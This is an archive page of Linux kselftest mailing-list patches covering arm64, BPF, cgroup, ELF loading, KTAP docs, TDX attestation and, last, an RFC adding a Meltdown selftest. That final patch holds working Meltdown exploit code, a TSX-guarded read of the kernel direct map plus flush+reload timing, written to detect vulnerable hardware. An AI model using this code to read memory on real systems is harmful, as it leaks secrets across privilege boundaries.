- Linux-kselftest-mirror - lists.linaro.org

[PATCH v1] kselftest/arm64: Use preferred form for predicate load/stores

by Mark Brown

The preferred form of the str/ldr for predicate registers with an immediate of zero is to omit the zero, and the clang built in assembler rejects the zero immediate. Drop the immediate. Signed-off-by: Mark Brown <broonie(a)kernel.org> --- tools/testing/selftests/arm64/abi/syscall-abi-asm.S | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/testing/selftests/arm64/abi/syscall-abi-asm.S b/tools/testing/selftests/arm64/abi/syscall-abi-asm.S index b523c21c2278..acd5e9f3bc0b 100644 --- a/tools/testing/selftests/arm64/abi/syscall-abi-asm.S +++ b/tools/testing/selftests/arm64/abi/syscall-abi-asm.S @@ -153,7 +153,7 @@ do_syscall: // Only set a non-zero FFR, test patterns must be zero since the // syscall should clear it - this lets us handle FA64. ldr x2, =ffr_in - ldr p0, [x2, #0] + ldr p0, [x2] ldr x2, [x2, #0] cbz x2, 2f wrffr p0.b @@ -298,7 +298,7 @@ do_syscall: cbz x2, 1f ldr x2, =ffr_out rdffr p0.b - str p0, [x2, #0] + str p0, [x2] 1: // Restore callee saved registers x19-x30 base-commit: 30a0b95b1335e12efef89dd78518ed3e4a71a763 -- 2.30.2

2 years, 12 months

3
3
0 0

[PATCH bpf-next v2] selftests/bpf: Fix error: undeclared identifier 'NF_NAT_MANIP_SRC'

by Rong Tao

From: Rong Tao <rongtao(a)cestc.cn> commit 472caa69183f("netfilter: nat: un-export nf_nat_used_tuple") introduce NF_NAT_MANIP_SRC/DST enum in include/net/netfilter/nf_nat.h, and commit b06b45e82b59("selftests/bpf: add tests for bpf_ct_set_nat_info kfunc") use NF_NAT_MANIP_SRC/DST in test_bpf_nf.c. In bpf kself-test config (tools/testing/selftests/bpf/config) nf_nat is compiled as built-in, this issue occurs just if it is compiled as module. We could use BPF CO-RE and ___suffix rule to avoid this. How to reproduce the error: $ make -C tools/testing/selftests/bpf/ ... CLNG-BPF [test_maps] test_bpf_nf.bpf.o error: use of undeclared identifier 'NF_NAT_MANIP_SRC' bpf_ct_set_nat_info(ct, &saddr, sport, NF_NAT_MANIP_SRC); ^ error: use of undeclared identifier 'NF_NAT_MANIP_DST' bpf_ct_set_nat_info(ct, &daddr, dport, NF_NAT_MANIP_DST); ^ 2 errors generated. Signed-off-by: Rong Tao <rongtao(a)cestc.cn> --- v2: use BPF CO-RE and ___suffix rule to avoid this error. v1: https://lore.kernel.org/lkml/tencent_29D7ABD1744417031AA1B52C914B61158E07@q… --- .../testing/selftests/bpf/progs/test_bpf_nf.c | 30 +++++++++++++++++-- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/tools/testing/selftests/bpf/progs/test_bpf_nf.c b/tools/testing/selftests/bpf/progs/test_bpf_nf.c index 227e85e85dda..1706984e1a6a 100644 --- a/tools/testing/selftests/bpf/progs/test_bpf_nf.c +++ b/tools/testing/selftests/bpf/progs/test_bpf_nf.c @@ -2,6 +2,7 @@ #include <vmlinux.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_endian.h> +#include <bpf/bpf_core_read.h> #define EAFNOSUPPORT 97 #define EPROTO 71 @@ -11,6 +12,11 @@ extern unsigned long CONFIG_HZ __kconfig; +enum nf_nat_manip_type___x { + NF_NAT_MANIP_SRC___x, + NF_NAT_MANIP_DST___x, +}; + int test_einval_bpf_tuple = 0; int test_einval_reserved = 0; int test_einval_netns_id = 0; @@ -58,7 +64,7 @@ int bpf_ct_change_timeout(struct nf_conn *, u32) __ksym; int bpf_ct_set_status(struct nf_conn *, u32) __ksym; int bpf_ct_change_status(struct nf_conn *, u32) __ksym; int bpf_ct_set_nat_info(struct nf_conn *, union nf_inet_addr *, - int port, enum nf_nat_manip_type) __ksym; + int port, int type) __ksym; static __always_inline void nf_ct_test(struct nf_conn *(*lookup_fn)(void *, struct bpf_sock_tuple *, u32, @@ -151,16 +157,34 @@ nf_ct_test(struct nf_conn *(*lookup_fn)(void *, struct bpf_sock_tuple *, u32, union nf_inet_addr saddr = {}; union nf_inet_addr daddr = {}; struct nf_conn *ct_ins; + int manip_src; + int manip_dst; + enum nf_nat_manip_type___x mapip_type_x; + + if (!bpf_core_type_exists(enum nf_nat_manip_type)) { + bpf_printk("enum nf_nat_manip_type not exist.\n"); + return; + } + + if (bpf_core_enum_value_exists(mapip_type_x, NF_NAT_MANIP_SRC___x)) + manip_src = bpf_core_enum_value(mapip_type_x, NF_NAT_MANIP_SRC___x); + else + return; + + if (bpf_core_enum_value_exists(mapip_type_x, NF_NAT_MANIP_DST___x)) + manip_dst = bpf_core_enum_value(mapip_type_x, NF_NAT_MANIP_DST___x); + else + return; bpf_ct_set_timeout(ct, 10000); ct->mark = 77; /* snat */ saddr.ip = bpf_get_prandom_u32(); - bpf_ct_set_nat_info(ct, &saddr, sport, NF_NAT_MANIP_SRC); + bpf_ct_set_nat_info(ct, &saddr, sport, manip_src); /* dnat */ daddr.ip = bpf_get_prandom_u32(); - bpf_ct_set_nat_info(ct, &daddr, dport, NF_NAT_MANIP_DST); + bpf_ct_set_nat_info(ct, &daddr, dport, manip_dst); ct_ins = bpf_ct_insert_entry(ct); if (ct_ins) { -- 2.31.1

3 years

4
4
0 0

[PATCH -next] kselftest/cgroup: fix unexcepted testing failure on test_memcontrol

by limin

When the `test_memcontrol` is run, the following two test cases fail: 1. test_memcg_low The original test case does not address the following issues: First, the memory reclamation behavior is different when memory.min or memory.low is set. Second, when memory.low of a cgroup is set to 0 and the cgroup's father's is set to 50, the value of the low field in the memory.events of the cgroup is greater than 0. 2. test_memcg_swap_max When swap.max is set, the sum of memory.current and memory.swap.current is slightly greater than the allocated memory size. The judgment in the original test case is too strict. some test cases will be failed as following: (the fourth and tenth): $ sudo ./test_memcontrol ok 1 test_memcg_subtree_control ok 2 test_memcg_current ok 3 test_memcg_min not ok 4 test_memcg_low ok 5 test_memcg_high ok 6 test_memcg_high_sync ok 7 test_memcg_max ok 8 test_memcg_reclaim ok 9 test_memcg_oom_events not ok 10 test_memcg_swap_max ok 11 test_memcg_sock ok 12 test_memcg_oom_group_leaf_events ok 13 test_memcg_oom_group_parent_events ok 14 test_memcg_oom_group_score_events this patch will correct this unexcepted failure Signed-off-by: limin <limin100(a)huawei.com> Signed-off-by: liaoqixin <liaoqixin(a)huawei.com> --- tools/testing/selftests/cgroup/test_memcontrol.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/tools/testing/selftests/cgroup/test_memcontrol.c b/tools/testing/selftests/cgroup/test_memcontrol.c index 883335955..18a1d40b1 100644 --- a/tools/testing/selftests/cgroup/test_memcontrol.c +++ b/tools/testing/selftests/cgroup/test_memcontrol.c @@ -381,8 +381,7 @@ static int test_memcg_protection(const char *root, bool min) "memory.low prevents from allocating anon memory\n"); goto cleanup; } - - if (!values_close(cg_read_long(parent[1], "memory.current"), MB(50), 3)) + if (!values_close(cg_read_long(parent[1], "memory.current"), min ? MB(50) : MB(30), 3)) goto cleanup; if (min) { @@ -401,9 +400,6 @@ static int test_memcg_protection(const char *root, bool min) goto cleanup; if (i <= no_low_events_index && low <= 0) goto cleanup; - if (i > no_low_events_index && low) - goto cleanup; - } ret = KSFT_PASS; @@ -768,7 +764,7 @@ static int alloc_anon_50M_check_swap(const char *cgroup, void *arg) swap_current = cg_read_long(cgroup, "memory.swap.current"); if (!swap_current || - !values_close(mem_current + swap_current, size, 3)) + !values_close(mem_current + swap_current, size, 30)) goto cleanup; ret = 0; @@ -808,7 +804,7 @@ static int test_memcg_swap_max(const char *root) if (cg_read_strcmp(memcg, "memory.swap.max", "max\n")) goto cleanup; - if (cg_write(memcg, "memory.swap.max", "30M")) + if (cg_write(memcg, "memory.swap.max", "70M")) goto cleanup; if (cg_write(memcg, "memory.max", "30M")) -- 2.33.0

3 years

1
0
0 0

Re: [PATCH] fs/binfmt_elf: Fix memsz > filesz handling

by Kees Cook

On Sun, Nov 06, 2022 at 02:16:57AM +0000, Pedro Falcato wrote: > The old code for ELF interpreter loading could only handle > 1 memsz > filesz segment. This is incorrect, as evidenced > by the elf program loading code, which could handle multiple > such segments. > > This patch fixes memsz > filesz handling for elf interpreters > and refactors interpreter/program BSS clearing into a common > codepath. > > This bug was uncovered on builds of ppc64le musl libc with > llvm lld 15.0.0, since ppc64 does not allocate file space > for its .plt. > > Cc: Rich Felker <dalias(a)libc.org> > Signed-off-by: Pedro Falcato <pedro.falcato(a)gmail.com> Thanks for the patch! I need to triple-check this logic, as there have been some overlapping (or out-of-order) LOAD bugs in the past too, and I want to make sure we don't accidentally zero things that already got loaded, etc. David, has there been any work on adding a way to instantiate userspace VMAs in a KUnit test? I tried to write this myself, but I couldn't figure out how to make the userspace memory mappings appear. Here's my fumbling attempt: https://git.kernel.org/pub/scm/linux/kernel/git/kees/linux.git/log/?h=devel… I really wish KUnit had userspace mapping support -- I have a bunch of unit tests that need to get built up around checking for regressions here, etc. Anyway, I'll test this patch and get it applied and likely backported to earlier kernels in the next few days. -Kees -- Kees Cook

3 years

3
4
0 0

[PATCH v1] Documentation: dev-tools: Clarify requirements for result description

by Mark Brown

Currently the KTAP specification says that a test result line is <result> <number> [<description>][ # [<directive>] [<diagnostic data>]] and the description of a test can be "any sequence of words (can't include #)" which specifies that there may be more than one word but does not specify anything other than those words which might be used to separate the words which probably isn't what we want. Given that practically we have tests using a range of separators for words including combinations of spaces and combinations of other symbols like underscores or punctuation let's just clarify that the description can contain any character other than # (marking the start of the directive/diagnostic) or newline (marking the end of this test result). Signed-off-by: Mark Brown <broonie(a)kernel.org> --- Documentation/dev-tools/ktap.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Documentation/dev-tools/ktap.rst b/Documentation/dev-tools/ktap.rst index d0a9565b0f44..414c105b10a9 100644 --- a/Documentation/dev-tools/ktap.rst +++ b/Documentation/dev-tools/ktap.rst @@ -80,8 +80,8 @@ have the number 1 and the number then must increase by 1 for each additional subtest within the same test at the same nesting level. The description is a description of the test, generally the name of -the test, and can be any string of words (can't include #). The -description is optional, but recommended. +the test, and can be any string of characters other than # or a +newline. The description is optional, but recommended. The directive and any diagnostic data is optional. If either are present, they must follow a hash sign, "#". base-commit: 9abf2313adc1ca1b6180c508c25f22f9395cc780 -- 2.30.2

3 years

4
3
0 0

[PATCH bpf 1/2] selftests/bpf: Explicitly pass RESOLVE_BTFIDS to sub-make

by Björn Töpel

From: Björn Töpel <bjorn(a)rivosinc.com> When cross-compiling selftests/bpf, the resolve_btfids binary end up in a different directory, than the regular resolve_btfids builds. Populate RESOLVE_BTFIDS for sub-make, so it can find the binary. Signed-off-by: Björn Töpel <bjorn(a)rivosinc.com> --- tools/testing/selftests/bpf/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/testing/selftests/bpf/Makefile b/tools/testing/selftests/bpf/Makefile index e6cf21fad69f..8f8ede30e94e 100644 --- a/tools/testing/selftests/bpf/Makefile +++ b/tools/testing/selftests/bpf/Makefile @@ -200,7 +200,7 @@ $(OUTPUT)/sign-file: ../../../../scripts/sign-file.c $(OUTPUT)/bpf_testmod.ko: $(VMLINUX_BTF) $(wildcard bpf_testmod/Makefile bpf_testmod/*.[ch]) $(call msg,MOD,,$@) $(Q)$(RM) bpf_testmod/bpf_testmod.ko # force re-compilation - $(Q)$(MAKE) $(submake_extras) -C bpf_testmod + $(Q)$(MAKE) $(submake_extras) RESOLVE_BTFIDS=$(RESOLVE_BTFIDS) -C bpf_testmod $(Q)cp bpf_testmod/bpf_testmod.ko $@ DEFAULT_BPFTOOL := $(HOST_SCRATCH_DIR)/sbin/bpftool base-commit: 47df8a2f78bc34ff170d147d05b121f84e252b85 -- 2.37.2

3 years

4
4
0 0

[PATCH] selftests net: additional fix for kselftest net build error

by Andrea Righi

We need to make sure that bpf_helpers.h is properly generated when building the net kselftest, otherwise we get this build error: $ make -C tools/testing/selftests/net ... bpf/nat6to4.c:43:10: fatal error: 'bpf/bpf_helpers.h' file not found ^~~~~~~~~~~~~~~~~~~ 1 error generated. Fix by adding a make dependency on tools/lib/bpf/bpf_helper_defs.h. Moreover, re-add the include that was initially added by commit cf67838c4422 ("selftests net: fix bpf build error"), otherwise we won't be able to properly include bpf_helpers.h. Fixes: 7b92aa9e6135 ("selftests net: fix kselftest net fatal error") Signed-off-by: Andrea Righi <andrea.righi(a)canonical.com> --- tools/testing/selftests/net/bpf/Makefile | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tools/testing/selftests/net/bpf/Makefile b/tools/testing/selftests/net/bpf/Makefile index 8ccaf8732eb2..cc6579e154eb 100644 --- a/tools/testing/selftests/net/bpf/Makefile +++ b/tools/testing/selftests/net/bpf/Makefile @@ -2,11 +2,15 @@ CLANG ?= clang CCINCLUDE += -I../../bpf +CCINCLUDE += -I../../../lib CCINCLUDE += -I../../../../lib CCINCLUDE += -I../../../../../usr/include/ +bpf_helper_defs.h: + @make OUTPUT=./ -C $(OUTPUT)/../../../../tools/lib/bpf bpf_helper_defs.h + TEST_CUSTOM_PROGS = $(OUTPUT)/bpf/nat6to4.o -all: $(TEST_CUSTOM_PROGS) +all: bpf_helper_defs.h $(TEST_CUSTOM_PROGS) $(OUTPUT)/%.o: %.c $(CLANG) -O2 -target bpf -c $< $(CCINCLUDE) -o $@ -- 2.37.2

3 years

2
1
0 0

Re: [PATCH linux-next] selftests/vm: calculate variables in correct order

by Peter Xu

On Wed, Nov 16, 2022 at 08:09:11PM -0400, Joel Savitz wrote: > However, I noticed that on the mm-everything branch, the hugepage-mmap test > fails: > > # ./run_vmtests.sh -t "hugetlb" > running: ./hugepage-mmap > ----------------------- > running ./hugepage-mmap > ----------------------- > Open failed: No such file or directory > [FAIL] > ... > > It appears this is due to commit 0796c7b8be84 ("selftests/vm: drop mnt > point for hugetlb in run_vmtests.sh") > as the test still replies on the ./huge mountpoint removed in that commit. > The test passes before that patchset is applied. Oops, sorry I totally overlooked this hard-coded test case using the mntpoint. Fix is simple though, which is attached. -- Peter Xu

3 years

2
1
0 0

[PATCH v18 0/3] Add TDX Guest Attestation support

by Kuppuswamy Sathyanarayanan

Hi All, Intel's Trust Domain Extensions (TDX) protect guest VMs from malicious hosts and some physical attacks. VM guest with TDX support is called as a TDX Guest. In TDX guest, the attestation process is used to verify the TDX guest trustworthiness to other entities before provisioning secrets to the guest. For example, a key server may request for attestation before releasing the encryption keys to mount the encrypted rootfs or secondary drive. This patch set adds attestation support for the TDX guest. Details about the TDX attestation process and the steps involved are explained in Documentation/x86/tdx.rst (added by patch 2/3). Following are the details of the patch set: Patch 1/3 -> Preparatory patch for adding attestation support. Patch 2/3 -> Adds user interface driver to support attestation. Patch 3/3 -> Adds selftest support for TDREPORT feature. Commit log history is maintained in the individual patches. Current overall status of this series is, it has no pending issues and can be considered for the upcoming merge cycle. Kuppuswamy Sathyanarayanan (3): x86/tdx: Add a wrapper to get TDREPORT0 from the TDX Module virt: Add TDX guest driver selftests: tdx: Test TDX attestation GetReport support Documentation/virt/coco/tdx-guest.rst | 52 ++++++ Documentation/virt/index.rst | 1 + Documentation/x86/tdx.rst | 43 +++++ arch/x86/coco/tdx/tdx.c | 40 +++++ arch/x86/include/asm/tdx.h | 2 + drivers/virt/Kconfig | 2 + drivers/virt/Makefile | 1 + drivers/virt/coco/tdx-guest/Kconfig | 10 ++ drivers/virt/coco/tdx-guest/Makefile | 2 + drivers/virt/coco/tdx-guest/tdx-guest.c | 102 ++++++++++++ include/uapi/linux/tdx-guest.h | 42 +++++ tools/testing/selftests/Makefile | 1 + tools/testing/selftests/tdx/Makefile | 7 + tools/testing/selftests/tdx/config | 1 + tools/testing/selftests/tdx/tdx_guest_test.c | 163 +++++++++++++++++++ 15 files changed, 469 insertions(+) create mode 100644 Documentation/virt/coco/tdx-guest.rst create mode 100644 drivers/virt/coco/tdx-guest/Kconfig create mode 100644 drivers/virt/coco/tdx-guest/Makefile create mode 100644 drivers/virt/coco/tdx-guest/tdx-guest.c create mode 100644 include/uapi/linux/tdx-guest.h create mode 100644 tools/testing/selftests/tdx/Makefile create mode 100644 tools/testing/selftests/tdx/config create mode 100644 tools/testing/selftests/tdx/tdx_guest_test.c -- 2.34.1

3 years

3
5
0 0

[RFC PATCH v3] selftest/x86/meltdown: Add a selftest for meltdown

by Aaron Lu

To capture potential programming errors like mistakenly setting Global bit on kernel page table entries, a selftest for meltdown is added. This selftest is based on https://github.com/IAIK/meltdown. What this test does is to firstly set a predefined string at a random user address and then with pagemap, get the physical address of this string. Finally, try to fetch the data using kernel's directmap address for this physical address to see if user space can use kernel's page table. Per my tests, this test works well on CPUs that have TSX support. For this reason, this selftest only works on CPUs that supports TSX. This test requires the knowledge of direct map base. IAIK used the following two methods to get direct map base: 1 through a kernel module to show phys_to_virt(0); 2 by exploiting the same HW vulnerability to guess the base. Method 1 makes running this selftest complex while method 2 is not reliable and I do not want to use a possibly wrong value to run this test. Suggestions are welcome. Tested on both x86_64 and i386_pae VMs on a host with i7-7700K cpu, success rate is about 50% when nopti kernel cmdline is used. As for legal stuff: Add an Intel copyright notice because of a significant contribution to this code. This also makes it clear who did the relicensing from Zlib to GPLv2. Also, just to be crystal clear, I have included my Signed-off-by on this contribution because I certify that (from submitting-patches.rst): (b) The contribution is based upon previous work that, to the best of my knowledge, is covered under an appropriate open source license and I have the right under that license to submit that work with modifications, whether created in whole or in part by me, under the same open source license (unless I am permitted to submit under a different license), as indicated in the file; or In this case, I have the right under the license to submit this work. That license also permits me to relicense to GPLv2 and submit under the new license. I came to the conclusion that this work is OK to submit with all of the steps I listed above (copyright notices, license terms and relicensing) by strictly following all of the processes required by my employer. This does not include a Signed-off-by from a corporate attorney. Instead, I offer the next best thing: an ack from one of the maintainers of this code who can also attest to this having followed all of the proper processes of our employer. [dhansen: advice on changelog of the legal part] Signed-off-by: Aaron Lu <aaron.lu(a)intel.com> Acked-by: Dave Hansen <dave.hansen(a)linux.intel.com> # Intel licensing process --- v3: address legal related concerns raised from Greg KH by adding Intel copyright in the header and explain in the changelog, no code change. tools/testing/selftests/x86/Makefile | 2 +- tools/testing/selftests/x86/meltdown.c | 420 +++++++++++++++++++++++++ 2 files changed, 421 insertions(+), 1 deletion(-) create mode 100644 tools/testing/selftests/x86/meltdown.c diff --git a/tools/testing/selftests/x86/Makefile b/tools/testing/selftests/x86/Makefile index 0388c4d60af0..36f99c360a56 100644 --- a/tools/testing/selftests/x86/Makefile +++ b/tools/testing/selftests/x86/Makefile @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh "$(CC)" trivial_program.c -no-pie) TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs syscall_nt test_mremap_vdso \ check_initial_reg_state sigreturn iopl ioperm \ test_vsyscall mov_ss_trap \ - syscall_arg_fault fsgsbase_restore sigaltstack + syscall_arg_fault fsgsbase_restore sigaltstack meltdown TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso unwind_vdso \ test_FCMOV test_FCOMI test_FISTTP \ vdso_restorer diff --git a/tools/testing/selftests/x86/meltdown.c b/tools/testing/selftests/x86/meltdown.c new file mode 100644 index 000000000000..0ad4b65adcd0 --- /dev/null +++ b/tools/testing/selftests/x86/meltdown.c @@ -0,0 +1,420 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * Copyright (c) 2022 Intel + * + * This selftest is based on code from https://github.com/IAIK/meltdown + * and can be used to check if user space can read data through kernel + * page table entries. + * + * Note for i386 test: due to kernel prefer to use high memory for user + * programs, it is necessary to restrict the available memory under that + * of low memory size(around ~896MiB) so that the memory hosting "string" + * in main() is directly mapped. + * + * Note for both x86_64 and i386 test: the hardware race window can not be + * exploited 100% each time so a single run of the test on a vulnerable system + * may not FAIL. My tests on a i7-7700K cpu have a success rate about 50%. + * + * The original copyright and license information are shown below: + * + * Copyright (c) 2018 meltdown + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + */ + +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#include <cpuid.h> +#include <errno.h> +#include <err.h> +#include <sys/mman.h> +#include <sys/utsname.h> + +#define PAGE_SHIFT 12 +#define PAGE_SIZE 0x1000 +#define PUD_SHIFT 30 +#define PUD_SIZE (1UL << PUD_SHIFT) +#define PUD_MASK (~(PUD_SIZE - 1)) + +#define _XBEGIN_STARTED (~0u) + +/* configurables */ +#define NR_MEASUREMENTS 3 +#define NR_TRIES 10000 + +size_t cache_miss_threshold; +unsigned long directmap_base; + +static int get_directmap_base(void) +{ + char *buf; + FILE *fp; + size_t n; + int ret; + + fp = fopen("/sys/kernel/debug/page_tables/kernel", "r"); + if (!fp) + return -1; + + buf = NULL; + ret = -1; + while (getline(&buf, &n, fp) != -1) { + if (!strstr(buf, "Kernel Mapping")) + continue; + + if (getline(&buf, &n, fp) != -1 && + sscanf(buf, "0x%lx", &directmap_base) == 1) { + printf("[INFO]\tdirectmap_base=0x%lx/0x%lx\n", directmap_base, directmap_base & PUD_MASK); + directmap_base &= PUD_MASK; + ret = 0; + break; + } + } + + fclose(fp); + free(buf); + return ret; +} + +/* + * Requires root due to pagemap. + */ +static int virt_to_phys(unsigned long virt, unsigned long *phys) +{ + unsigned long pfn; + uint64_t val; + int fd, ret; + + fd = open("/proc/self/pagemap", O_RDONLY); + if (fd == -1) { + printf("[INFO]\tFailed to open pagemap\n"); + return -1; + } + + ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) * sizeof(uint64_t)); + if (ret == -1) { + printf("[INFO]\tFailed to read pagemap\n"); + goto out; + } + + if (!(val & (1ULL << 63))) { + printf("[INFO]\tPage not present according to pagemap\n"); + ret = -1; + goto out; + } + + pfn = val & ((1ULL << 55) - 1); + if (pfn == 0) { + printf("[INFO]\tNeed CAP_SYS_ADMIN to show pfn\n"); + ret = -1; + goto out; + } + + ret = 0; + *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1)); + +out: + close(fd); + return ret; +} + +static uint64_t rdtsc() +{ + uint64_t a = 0, d = 0; + + asm volatile("mfence"); +#ifdef __x86_64__ + asm volatile("rdtsc" : "=a"(a), "=d"(d)); +#else + asm volatile("rdtsc" : "=A"(a)); +#endif + a = (d << 32) | a; + asm volatile("mfence"); + + return a; +} + +#ifdef __x86_64__ +static void maccess(void *p) +{ + asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); +} + +static void flush(void *p) +{ + asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); +} + +#define MELTDOWN \ + asm volatile("1:\n" \ + "movzx (%%rcx), %%rax\n" \ + "shl $12, %%rax\n" \ + "jz 1b\n" \ + "movq (%%rbx,%%rax,1), %%rbx\n" \ + : \ + : "c"(virt), "b"(array) \ + : "rax"); +#else +static void maccess(void *p) +{ + asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax"); +} + +static void flush(void *p) +{ + asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax"); +} + +#define MELTDOWN \ + asm volatile("1:\n" \ + "movzx (%%ecx), %%eax\n" \ + "shl $12, %%eax\n" \ + "jz 1b\n" \ + "mov (%%ebx,%%eax,1), %%ebx\n" \ + : \ + : "c"(virt), "b"(array) \ + : "eax"); +#endif + +static void detect_flush_reload_threshold() +{ + size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; + size_t dummy[16]; + size_t *ptr = dummy + 8; + uint64_t start = 0, end = 0; + + maccess(ptr); + for (i = 0; i < count; i++) { + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + reload_time += (end - start); + } + + for (i = 0; i < count; i++) { + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + flush(ptr); + flush_reload_time += (end - start); + } + + reload_time /= count; + flush_reload_time /= count; + + printf("[INFO]\tFlush+Reload: %zd cycles, Reload only: %zd cycles\n", + flush_reload_time, reload_time); + cache_miss_threshold = (flush_reload_time + reload_time * 2) / 3; + printf("[INFO]\tFlush+Reload threshold: %zd cycles\n", cache_miss_threshold); +} + +static int flush_reload(void *ptr) +{ + uint64_t start, end; + + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + + flush(ptr); + + if (end - start < cache_miss_threshold) + return 1; + + return 0; +} + +static int check_tsx() +{ + if (__get_cpuid_max(0, NULL) >= 7) { + unsigned a, b, c, d; + __cpuid_count(7, 0, a, b, c, d); + return (b & (1 << 11)) ? 1 : 0; + } else + return 0; +} + +static unsigned int xbegin(void) +{ + unsigned int status; + + asm volatile("xbegin 1f \n 1:" : "=a"(status) : "a"(-1UL) : "memory"); + asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); + + return status; +} + +static void xend(void) +{ + asm volatile("xend" ::: "memory"); + asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); +} + +static int __read_phys_memory_tsx(unsigned long phys, char *array) +{ + unsigned long virt; + int i, retries; + + virt = phys + directmap_base; + for (retries = 0; retries < NR_TRIES; retries++) { + if (xbegin() == _XBEGIN_STARTED) { + MELTDOWN; + xend(); + } + + for (i = 1; i < 256; i++) { + if (flush_reload(array + i * PAGE_SIZE)) + return i; + } + } + + return 0; +} + +/* + * Read physical memory by exploiting HW bugs. + * One byte a time. + */ +static int read_phys_memory(unsigned long phys, char *array) +{ + char res_stat[256]; + int i, r, max_v, max_i; + + memset(res_stat, 0, sizeof(res_stat)); + + for (i = 0; i < NR_MEASUREMENTS; i++) { + for (i = 0; i < 256; i++) + flush(array + i * PAGE_SIZE); + + r = __read_phys_memory_tsx(phys, array); + if (r != 0) + res_stat[r]++; + } + + max_v = 0; + for (i = 1; i < 256; i++) { + if (res_stat[i] > max_v) { + max_i = i; + max_v = res_stat[i]; + } + } + + if (max_v == 0) + return 0; + + return max_i; +} + +#ifdef __i386 +/* 32 bits version is only meant to run on a PAE kernel */ +static int arch_test_mismatch(void) +{ + struct utsname buf; + + if (uname(&buf) == -1) { + printf("[SKIP]\tCan't decide architecture\n"); + return 1; + } + + if (!strncmp(buf.machine, "x86_64", 6)) { + printf("[SKIP]\tNo need to run 32bits test on 64bits host\n"); + return 1; + } + + return 0; +} +#else +static int arch_test_mismatch(void) +{ + return 0; +} +#endif + +static int test_meltdown(void) +{ + char string[] = "test string"; + char *array, *result; + unsigned long phys; + int i, len, ret; + + if (arch_test_mismatch()) + return 0; + + if (get_directmap_base() == -1) { + printf("[SKIP]\tFailed to get directmap base. Make sure you are root and kernel has CONFIG_PTDUMP_DEBUGFS\n"); + return 0; + } + + detect_flush_reload_threshold(); + + if (!check_tsx()) { + printf("[SKIP]\tNo TSX support\n"); + return 0; + } + + if (virt_to_phys((unsigned long)string, &phys) == -1) { + printf("[FAIL]\tFailed to convert virtual address to physical address\n"); + return -1; + } + + len = strlen(string); + result = malloc(len + 1); + if (!result) { + printf("[FAIL]\tNot enough memory for malloc\n"); + return -1; + } + memset(result, 0, len + 1); + + array = mmap(NULL, 256 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (!array) { + printf("[FAIL]\tNot enough memory for mmap\n"); + free(result); + return -1; + } + memset(array, 0, 256 * PAGE_SIZE); + + for (i = 0; i < len; i++, phys++) { + result[i] = read_phys_memory(phys, array); + if (result[i] == 0) + break; + } + + ret = !strncmp(string, result, len); + if (ret) + printf("[FAIL]\tSystem is vulnerable to meltdown.\n"); + else + printf("[OK]\tSystem might not be vulnerable to meltdown.\n"); + + munmap(array, 256 * PAGE_SIZE); + free(result); + + return ret; +} + +int main(void) +{ + printf("[RUN]\tTest if system is vulnerable to meltdown\n"); + + return test_meltdown(); +} -- 2.38.1

3 years

3
4
0 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

Linux-kselftest-mirror